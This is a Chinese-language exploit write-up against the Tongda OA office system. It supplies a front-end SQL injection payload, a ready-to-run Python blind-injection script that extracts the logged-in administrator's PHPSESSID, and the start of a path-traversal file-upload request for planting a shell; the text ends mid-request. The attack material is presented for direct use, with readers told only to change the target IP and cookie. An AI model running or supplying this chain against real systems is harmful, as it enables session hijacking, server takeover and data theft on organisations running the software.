0x00 前言
对于渗透测试来说, 后台的SQL注入其实是很鸡肋的, 所以我们的突破点一定是从一个前台的漏洞开始, 比如前台SQL注入. 通达OA的前台SQL注入, 根据之前公开的文章推测数量应该是有多个, 但都没有明确给出payload, 对于没有代码审计能力的人来说是无法直接利用的.
通达OA的数据库为MYSQL, MYSQL注入常用的利用方式:
(1)当前数据库账户拥有读写权限且知道物理路径的时候直接写shell.
(2)当前注入点支持多语句执行且知道物理路径的时候利用数据库日志导出写shell.
(3)读取管理员帐号密码进入后台, 寻找新的突破点, 如任意文件上传漏洞写shell.
但这些均不适用于通达OA. 通达OA虽然默认是root用户, 但却没有启用读写权限, 本篇文章所涉及到的SQL注入也不支持堆叠注入, 且数据库存储的帐号密码是加密的, 不容易解密.
那么我们要如何利用呢?
0x01 SQL注入获取PHPSESSID
给出payload
经过测试,已知的影响版本: 2015/2016/2017
不影响v11以上版本,其他未知.
/general/document/index.php/recv/register/insert
(POST)
title)values("'"^exp(if(ascii(substr(user(),1,1))%3d114,1,710)))# =1&_SERVER=
条件为真时返回302跳转到404, 为假时利用exp()函数报错,提示"SQL语句执行错误",验证注入点存在
先给利用语句
select SID from user_online limit 1;
通达OA数据库中有一张表(user_online)是存储当前处于登陆状态的帐号的认证凭证的,也就是PHPSESSID只要能够获取到这个值,我们就可以伪造Cookie登陆后台
UID等于1即为管理员的凭证(后台多种getshell的方式都是需要管理员权限的)
同一个账户是可以同时异地登录产生多个SID的值,我们只需获取一个即可, 加上 limit1 防止多个返回结果导致的报错,减少麻烦.
好了,现在我们已经清楚了了解了数据库的这张表的作用了,现在我们需要一个注入点,上面已给出.
有了注入点也还不够,我们还需要一个脚本给够辅助我们快速的获取到想要的值
(默认的sqlmap是不能识别这个注入点的)
嗯,脚本也已经给大家准备好了,只需把代码中的"127.0.0.1"更改为目标IP即可使用.
当然,你需要提前判断是否存在注入
# -*- coding:utf-8 -*-
import requests
def hello(url, payload):
result = ""
payload_bak = payload
for len in range(1, 27):
str = '0'
for i in range(0, 7):
payload = payload.format(len, 6 - i, int(str + '0', 2))
data = {payload: "1", "_SERVER": ""}
r = requests.post(url, data=data, timeout=10, verify=False, allow_redirects=False)
# print(r.status_code)
if r.status_code == 302:
str = str + '0'
elif r.status_code == 500:
str = str + '1'
else:
hello(url, payload)
payload = payload_bak
result += chr(int(str, 2))
if int(str, 2) == 127:
print("系统当前无正在登录的用户...")
return result
print("第%d位为: %s" % (len, chr(int(str, 2))))
return result
def main():
url = "http://127.0.0.1/general/document/index.php/recv/register/insert"
payload = """title)values("'"^exp(if((ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/1),{},1))>>{}={}),1,710)))# """
print("PHPSESSID=%s" % hello(url, payload))
if __name__ == "__main__":
main()
这里我只登录了一个账户,运行脚本通过SQL注入获取到PHPSESSID值
查看浏览器的Cookie,对比可以发现是一样的
有了PHPSESSID,我们就可以登录后台getshell,实际上我们并不需要登录,只需要伪造Cookie发个数据包即可.
请往下看.
0x02 后台getshell
后台getshell的方式多种,这里举例一种比较好用的,也是影响范围最大的.
经过测试,已知的影响版本:2017版/v11.0-v11.6
payload如下,直接拿过去用burp发包就行,需要修改的地方有两个
目标IP与Cookie中PHPSESSID的值(SQL注入获取到的SID)
POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1Host: 192.168.238.141User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116